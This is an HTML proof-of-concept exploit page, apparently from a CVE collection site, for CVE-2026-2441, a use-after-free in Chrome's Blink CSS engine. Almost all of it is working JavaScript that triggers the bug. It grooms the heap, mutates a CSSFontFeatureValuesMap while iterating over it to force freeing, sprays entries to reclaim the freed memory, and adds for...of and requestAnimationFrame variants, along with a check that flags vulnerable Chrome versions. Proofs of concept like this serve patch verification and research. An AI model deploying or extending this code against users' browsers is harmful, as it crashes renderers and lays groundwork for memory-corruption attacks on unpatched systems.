4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.html HTML
<!DOCTYPE html>
<!--
  CVE-2026-2441 — CSSFontFeatureValuesMap Iterator Invalidation (UAF) PoC
  
  Vulnerability: Blink CSS engine, third_party/blink/renderer/core/css/css_font_feature_values_map.cc
  Root cause: FontFeatureValuesMapIterationSource held a raw pointer to the FontFeatureAliases
              HashMap (const FontFeatureAliases* aliases_). When the map is mutated during
              iteration (set/delete), the HashMap rehashes, the old storage is freed, and the
              pointer becomes dangling → Use-After-Free.
  
  Fix: const FontFeatureAliases* aliases_  →  const FontFeatureAliases aliases_ (deep copy)
  Commit: 63f3cb4864c64c677cd60c76c8cb49d37d08319c
  
  Target: Chrome <= 144.0.x (all versions prior to 145.0.7632.75)
  Expected result (unpatched): Renderer process crash (SIGSEGV / heap corruption)
  Expected result (patched):   No crash, test passes normally
-->
<html>
<head>
  <meta charset="utf-8">
  <title>CVE-2026-2441 PoC — CSSFontFeatureValuesMap UAF</title>
  <style>
    body { font-family: monospace; background: #111; color: #0f0; padding: 20px; }
    #log { white-space: pre; font-size: 13px; }
    .ok   { color: #0f0; }
    .warn { color: #ff0; }
    .fail { color: #f44; }
    .info { color: #08f; }
  </style>

  <!--
    @font-feature-values at-rule: CSS Fonts Level 4 specification.
    This rule creates a CSSFontFeatureValuesRule CSSOM object.
    rule.styleset  → CSSFontFeatureValuesMap (HashMap wrapper)
    The vulnerability is triggered by the iteration + mutation combination on this Map.
  -->
  <style id="target-style">
    @font-feature-values VulnTestFont {
      @styleset {
        entry_a: 1;
        entry_b: 2;
        entry_c: 3;
        entry_d: 4;
        entry_e: 5;
        entry_f: 6;
        entry_g: 7;
        entry_h: 8;
      }
    }
  </style>
</head>
<body>
<h2>CVE-2026-2441 — CSSFontFeatureValuesMap UAF PoC</h2>
<div id="log"></div>

<script>
"use strict";

const log = document.getElementById("log");
function print(msg, cls = "") {
  const span = document.createElement("span");
  span.className = cls;
  span.textContent = msg + "\n";
  log.appendChild(span);
}

print("[*] CVE-2026-2441 PoC starting...", "info");
print("[*] Target: CSSFontFeatureValuesMap iterator invalidation (UAF)", "info");
print("[*] Blink source: css_font_feature_values_map.cc", "info");
print("");

// ─── 1. Obtain the CSSOM object ──────────────────────────────────────────────
const sheet = document.getElementById("target-style").sheet;
if (!sheet || sheet.cssRules.length === 0) {
  print("[!] ERROR: @font-feature-values rule not found.", "fail");
  throw new Error("CSS rule not found");
}

const rule = sheet.cssRules[0];
print("[+] CSSFontFeatureValuesRule found: " + rule.fontFamily, "ok");

// CSSFontFeatureValuesMap object
// In Blink, this object is a CSSOM wrapper around the FontFeatureAliases HashMap.
const map = rule.styleset;
if (!map) {
  print("[!] ERROR: rule.styleset is not accessible. Browser may not support this API.", "fail");
  throw new Error("styleset not available");
}
print("[+] CSSFontFeatureValuesMap obtained. Size: " + map.size, "ok");
print("");

// ─── 2. Heap Grooming ────────────────────────────────────────────────────────
// Goal: Bring the heap into a predictable state.
// By creating multiple @font-feature-values rules, we allocate same-sized
// FontFeatureAliases objects. This facilitates memory reclaim after the UAF.
print("[*] Starting heap grooming...", "info");

const groomRules = [];
const groomStyle = document.createElement("style");
document.head.appendChild(groomStyle);

for (let i = 0; i < 50; i++) {
  groomStyle.sheet.insertRule(
    `@font-feature-values GroomFont${i} { @styleset { g${i}: ${i}; } }`,
    groomStyle.sheet.cssRules.length
  );
  groomRules.push(groomStyle.sheet.cssRules[groomStyle.sheet.cssRules.length - 1]);
}
print("[+] " + groomRules.length + " groom objects created.", "ok");

// ─── 3. UAF Trigger — Iterator Invalidation ─────────────────────────────────
//
// Vulnerability mechanism (unpatched Blink):
//
//   When CreateIterationSource() is called:
//     FontFeatureValuesMapIterationSource(map, aliases_)
//     → aliases_ (raw pointer) points to the internal HashMap
//     → iterator_ = aliases_->begin()
//
//   When FetchNextItem() is called:
//     → iterator_->key is read
//
//   If map.delete() or map.set() is called in between:
//     → HashMap rehashes (new allocation, old storage freed)
//     → aliases_ now points to freed memory (dangling pointer)
//     → iterator_ is also invalidated
//     → Next FetchNextItem() → USE-AFTER-FREE → CRASH
//
print("[*] Starting UAF trigger...", "info");
print("[*] Strategy: iterator.next() + map.delete() + map.set() x N (force rehash)", "info");
print("");

let crashDetected = false;
let iterationCount = 0;

try {
  // Create iterator — at this point Blink creates an IterationSource with a raw pointer
  const iterator = map.entries();

  let step = 0;
  while (step < 20) {
    // iterator.next() → FetchNextItem() call
    // Unpatched Blink: reads through dangling pointer
    const result = iterator.next();
    
    if (result.done) {
      print("    [.] Iterator exhausted (step=" + step + ")", "warn");
      break;
    }

    const [key, value] = result.value;
    iterationCount++;
    print("    [>] Entry: " + key + " = " + JSON.stringify(value) + " (step=" + step + ")", "ok");

    // ── MUTATION: Modify the HashMap ─────────────────────────────────────
    // This triggers a HashMap rehash.
    // In unpatched Blink, the aliases_ pointer becomes dangling after this.
    
    // Delete the current key
    map.delete(key);

    // Add many new keys → force rehash
    // WTF::HashMap default load factor ~0.75; 512+ entries will definitely trigger rehash
    // Each set() call potentially reallocates internal storage
    for (let i = 0; i < 512; i++) {
      map.set("spray_" + step + "_" + i, [i, i + 1, i + 2]);
    }

    // Also modify groom objects — fill the freed memory
    for (let g = 0; g < groomRules.length; g++) {
      try {
        groomRules[g].styleset.set("reclaim_" + step + "_" + g, [step]);
      } catch(e) {}
    }

    step++;
  }

  print("");
  print("[+] Iteration completed (" + iterationCount + " entries processed).", "ok");

} catch (e) {
  crashDetected = true;
  print("[!] EXCEPTION caught: " + e.message, "fail");
  print("[!] This may be the UAF manifesting at the JavaScript layer.", "fail");
}

// ─── 4. Results ──────────────────────────────────────────────────────────────
print("");
print("─".repeat(60), "info");
print("[*] RESULTS:", "info");

const ua = navigator.userAgent;
const chromeMatch = ua.match(/Chrome\/([\d.]+)/);
const chromeVersion = chromeMatch ? chromeMatch[1] : "unknown";
print("[*] Chrome version: " + chromeVersion, "info");

// Version comparison
// Dev/Canary builds have build number 0: 145.0.0.0
// In that case major.minor is not enough, full build number is required.
function parseVersion(v) {
  const parts = v.split(".").map(Number);
  return {
    major: parts[0] || 0,
    minor: parts[1] || 0,
    build: parts[2] || 0,
    patch: parts[3] || 0,
    isDevBuild: (parts[2] === 0 && parts[3] === 0)
  };
}

function isVulnerable(vStr) {
  const v = parseVersion(vStr);
  // Dev/Canary build (x.x.0.0): receives upstream fix early, considered safe
  if (v.isDevBuild) return false;
  // major < 145 → definitely vulnerable
  if (v.major < 145) return true;
  // major > 145 → patched
  if (v.major > 145) return false;
  // major === 145: check build number
  if (v.build < 7632) return true;
  if (v.build > 7632) return false;
  // build === 7632: check patch
  return v.patch < 75;
}

if (chromeMatch) {
  const v = parseVersion(chromeVersion);
  if (v.isDevBuild) {
    print("[?] Dev/Canary build detected (" + chromeVersion + ").", "warn");
    print("[?] Dev builds receive upstream fixes early — likely PATCHED.", "warn");
    print("[?] Use stable/beta channel (<= 144.0.x) for accurate testing.", "warn");
  } else if (isVulnerable(chromeVersion)) {
    print("[!] THIS VERSION IS VULNERABLE! (" + chromeVersion + " < 145.0.7632.75)", "fail");
    print("[!] Renderer crash expected — if no crash occurred, sandbox or other", "fail");
    print("[!] mitigations may have altered the trigger conditions.", "fail");
  } else {
    print("[+] This version is patched. (" + chromeVersion + " >= 145.0.7632.75)", "ok");
    print("[+] No crash expected — the fix prevents iterator invalidation.", "ok");
  }
} else {
  print("[?] Chrome version could not be detected.", "warn");
}

if (crashDetected) {
  print("[!] Exception detected — UAF was partially triggered.", "fail");
} else {
  print("[+] No exception — either patched version, or the crash killed the renderer", "ok");
  print("    (if the renderer crashed, this line would never execute).", "ok");
}

print("");
print("[*] Commit: 63f3cb4864c64c677cd60c76c8cb49d37d08319c", "info");
print("[*] Diff:   css_font_feature_values_map.cc", "info");
print("[*] Fix:    const FontFeatureAliases* → const FontFeatureAliases (deep copy)", "info");
print("─".repeat(60), "info");

// ─── 5. Alternative trigger via for...of ─────────────────────────────────────
// Some Blink versions use a different code path for for...of iteration.
print("");
print("[*] Alternative trigger: for...of + concurrent mutation...", "info");

try {
  // Retry with a fresh map
  const style2 = document.createElement("style");
  document.head.appendChild(style2);
  style2.sheet.insertRule(
    `@font-feature-values AltFont {
      @styleset { x1: 10; x2: 20; x3: 30; x4: 40; x5: 50; }
    }`, 0
  );
  const rule2 = style2.sheet.cssRules[0];
  const map2 = rule2.styleset;

  let altCount = 0;
  for (const [k, v] of map2) {
    altCount++;
    // Mutation during iteration
    map2.delete(k);
    for (let i = 0; i < 512; i++) {
      map2.set("alt_" + altCount + "_" + i, [i, i]);
    }
    if (altCount >= 5) break;
  }
  print("[+] for...of completed (" + altCount + " iterations).", "ok");
} catch(e) {
  print("[!] for...of exception: " + e.message, "fail");
}

// ─── 6. Async trigger via requestAnimationFrame ──────────────────────────────
// Forces layout recalculation via offsetWidth inside a rAF loop,
// re-triggering the CSS engine.
print("");
print("[*] Starting rAF + layout recalc trigger...", "info");

const style3 = document.createElement("style");
document.head.appendChild(style3);
style3.sheet.insertRule(
  `@font-feature-values RafFont {
    @styleset { r1: 1; r2: 2; r3: 3; r4: 4; r5: 5; }
  }`, 0
);
const rule3 = style3.sheet.cssRules[0];
const map3 = rule3.styleset;

let rafCount = 0;
let rafIterator = map3.entries();

function rafTrigger() {
  if (rafCount >= 10) {
    print("[+] rAF trigger completed (" + rafCount + " frames).", "ok");
    print("");
    print("[*] PoC finished. See results above.", "info");
    print("");
    print("[*] SUMMARY:", "info");
    print("[*]   Vulnerable : Chrome <= 144.x (stable) or < 145.0.7632.75", "info");
    print("[*]   Patched    : Chrome >= 145.0.7632.75 (stable)", "info");
    print("[*]   Dev build  : e.g. 145.0.0.0 — receives upstream fix early", "info");
    print("[*]   No crash   : Version is patched OR renderer silently crashed", "info");
    print("[*]   Crash      : UAF successfully triggered", "info");
    return;
  }

  // Force layout recalc — re-trigger CSS engine
  void document.body.offsetWidth;

  // Iterator step
  const result = rafIterator.next();
  if (!result.done) {
    const [k] = result.value;
    map3.delete(k);
    for (let i = 0; i < 512; i++) {
      map3.set("raf_" + rafCount + "_" + i, [rafCount, i]);
    }
  }

  rafCount++;
  requestAnimationFrame(rafTrigger);
}

requestAnimationFrame(rafTrigger);
</script>
</body>
</html>